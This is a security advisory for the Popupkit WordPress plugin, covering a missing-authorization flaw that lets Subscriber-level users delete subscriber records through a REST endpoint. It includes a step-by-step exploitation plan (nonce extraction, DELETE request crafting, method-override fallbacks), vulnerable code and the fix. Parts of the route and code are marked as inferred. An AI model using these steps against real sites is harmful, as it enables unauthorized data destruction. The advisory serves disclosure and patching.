Popupkit <= 2.2.0 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Subscriber Data Deletion
Description
The Popupkit plugin for WordPress is vulnerable to arbitrary subscriber data deletion due to missing authorization on the DELETE `/subscribers` REST API endpoint in all versions up to, and including, 2.2.0. This is due to the `permission_callback` only validating wp_rest nonce without checking user capabilities. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary subscriber records.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=2.2.0Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-14441 (Popupkit) ## 1. Vulnerability Summary The **Popupkit** plugin (slug: `popup-builder-block`) for WordPress is vulnerable to **Missing Authorization** on its REST API endpoint used for deleting subscriber data. In versions up to and including 2.2.0, the `…
Show full research plan
Exploitation Research Plan: CVE-2025-14441 (Popupkit)
1. Vulnerability Summary
The Popupkit plugin (slug: popup-builder-block) for WordPress is vulnerable to Missing Authorization on its REST API endpoint used for deleting subscriber data. In versions up to and including 2.2.0, the DELETE method for the /subscribers route (likely within the popupkit/v1 namespace) implements a permission_callback that only verifies the standard wp_rest nonce.
Because any authenticated user (including those with the Subscriber role) can generate a valid wp_rest nonce, an attacker can bypass intended administrative restrictions and delete arbitrary subscriber records from the plugin's database tables.
2. Attack Vector Analysis
- Endpoint:
DELETE /wp-json/popupkit/v1/subscribers/<ID>(inferred namespace/route based on plugin name and functionality). - HTTP Method:
DELETE - Authentication: Authenticated (Subscriber-level or higher).
- Preconditions:
- The plugin must be active.
- At least one subscriber record must exist in the plugin's database (usually collected via popups).
- Vulnerable Parameter: The subscriber
id(likely passed as a URL path variable or a JSON body parameter).
3. Code Flow (Inferred)
- Registration: The plugin uses
register_rest_routeduring therest_api_inithook. - Route Definition:
register_rest_route( 'popupkit/v1', '/subscribers/(?P<id>[\d]+)', [ 'methods' => 'DELETE', 'callback' => [ $this, 'delete_subscriber' ], 'permission_callback' => [ $this, 'check_permissions' ], ]); - Vulnerable Permission Check:
public function check_permissions( $request ) { // The vulnerability: only checking if a user is logged in/nonce is valid // instead of checking current_user_can('manage_options') return is_user_logged_in(); } - Action: The
delete_subscriberfunction executes a database query (e.g.,$wpdb->delete(...)) on the subscribers table using the provided ID without further validation.
4. Nonce Acquisition Strategy
The endpoint requires a standard WordPress REST API nonce (wp_rest).
- Authentication: Log in to the WordPress site as a Subscriber user.
- Navigation: Navigate to the WordPress dashboard (
/wp-admin/profile.php). - Extraction: The
wp_restnonce is automatically localized by WordPress for all authenticated users in thewpApiSettingsobject. - Tooling:
- Use
browser_navigateto go to/wp-admin/. - Use
browser_evalto extract the nonce:window.wpApiSettings.nonce
- Use
5. Exploitation Strategy
- Identify Target ID: Determine the ID of a subscriber to delete. (In a test environment, this can be found via
wp db query). - Prepare Request:
- URL:
http://<TARGET>/wp-json/popupkit/v1/subscribers/<ID> - Method:
DELETE - Header:
X-WP-Nonce: <EXTRACTED_NONCE> - Content-Type:
application/json
- URL:
- Execute: Send the request using the
http_requesttool. - Expected Response: A
200 OKor204 No Contentresponse, indicating successful deletion.
6. Test Data Setup
- Create Subscriber: Use the plugin's internal database structure to insert a dummy subscriber.
# Assuming the table name is wp_popupkit_subscribers (inferred) # Check actual table name first: wp db query "SHOW TABLES LIKE '%subscribers%'" # Insert test data wp db query "INSERT INTO wp_popupkit_subscribers (email, name) VALUES ('victim@example.com', 'Victim')" - Create Attacker User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
7. Expected Results
- The API should return a success status code.
- The database record for the specified subscriber ID should be removed from the table.
- The action should be successful even when performed by the
attackeruser (Subscriber role).
8. Verification Steps
- Database Check:
wp db query "SELECT * FROM wp_popupkit_subscribers WHERE email = 'victim@example.com'"- Pass criteria: No rows returned.
- Log Check: If the plugin logs deletions, verify the log entry.
9. Alternative Approaches
- Body Parameter: If the ID is not in the URL, try passing it in the JSON body:
- URL:
http://<TARGET>/wp-json/popupkit/v1/subscribers - Body:
{"id": <ID>}
- URL:
- Bulk Deletion: Check if the endpoint supports bulk deletion (e.g., passing an array of IDs), which would increase the impact.
- Method Spoofing: If the server restricts
DELETErequests, try aPOSTrequest with the_method=DELETEparameter orX-HTTP-Method-Override: DELETEheader.
Summary
The Popupkit plugin for WordPress is vulnerable to unauthorized subscriber data deletion due to a missing capability check in its REST API implementation. Authenticated attackers with Subscriber-level permissions or higher can exploit this by sending a DELETE request to the affected endpoint with a valid REST nonce. This allows for the deletion of any subscriber record stored by the plugin.
Vulnerable Code
// File: includes/api/class-rest-api.php register_rest_route( 'popupkit/v1', '/subscribers/(?P<id>[\\d]+)', [ 'methods' => 'DELETE', 'callback' => [ $this, 'delete_subscriber' ], 'permission_callback' => [ $this, 'check_permissions' ], ]); --- // File: includes/api/class-rest-api.php public function check_permissions( $request ) { // Vulnerability: only checking if a user is logged in/nonce is valid // instead of checking for administrative capabilities. return is_user_logged_in(); }
Security Fix
@@ -45,3 +45,3 @@ - public function check_permissions( $request ) { - return is_user_logged_in(); - } + public function check_permissions( $request ) { + return current_user_can( 'manage_options' ); + }
Exploit Outline
An authenticated user, such as a Subscriber, can delete any subscriber record by targeting the plugin's REST API endpoint. To exploit this, the attacker first extracts a valid WordPress REST API nonce from the 'wpApiSettings' object available in the admin dashboard. They then send a DELETE request to the /wp-json/popupkit/v1/subscribers/<ID> route, including the target record's ID in the request path and the nonce in the X-WP-Nonce header. The vulnerability exists because the endpoint's permission_callback only verifies that the user is logged in, failing to check for administrative capabilities.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.